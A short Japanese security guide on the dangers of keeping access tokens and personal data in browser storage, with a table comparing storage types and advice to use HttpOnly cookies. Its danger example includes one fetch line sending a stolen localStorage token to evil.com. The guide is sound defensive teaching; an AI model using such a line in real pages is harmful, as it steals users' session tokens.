ブラウザストレージのリスク - クライアントサイドストレージの安全性
localStorage / sessionStorage / IndexedDB に機密情報を保存するリスクと安全な代替手段。
概念図
実例
localStorage にアクセストークンを保存する危険なパターン
bash
// 危険: localStorage にトークンを保存
localStorage.setItem("access_token", "eyJhbG...");
// XSS で簡単に窃取される
fetch("https://evil.com/?t=" + localStorage.getItem("access_token"));HttpOnly Cookie による安全な代替
bash
// 安全: HttpOnly Cookie にトークンを保存
// → JavaScript からアクセスできないため XSS に強い
Set-Cookie: access_token=eyJhbG...; HttpOnly; Secure; SameSite=Lax各ストレージの特徴とリスク
| ストレージ | 容量 | JavaScript アクセス | XSS リスク |
|---|---|---|---|
| localStorage | 5-10MB | 可能 | 高 |
| sessionStorage | 5-10MB | 可能 | 高(タブ単位) |
| IndexedDB | 大容量 | 可能 | 高 |
| HttpOnly Cookie | 4KB | 不可 | 低 |
いずれのブラウザストレージも JavaScript から自由にアクセスできるため、XSS 脆弱性があると保存されたデータがすべて窃取される。
HttpOnly Cookie だけが JavaScript からのアクセスを構造的にブロックできる。
安全な設計指針
- 認証トークン・セッション ID: HttpOnly Cookie に保存する。localStorage や sessionStorage には絶対に入れない
- CSRF トークン: DOM や meta タグから取得する設計にする
- 一時的な UI 状態: localStorage / sessionStorage に保存して問題ない(ダークモード設定、サイドバーの開閉状態など)
- 個人情報: クライアントサイドに保存せず、必要時にサーバーから取得する
- 暗号化しても意味がない: クライアントサイドで暗号化しても、XSS で鍵ごと盗まれるため根本的な対策にならない
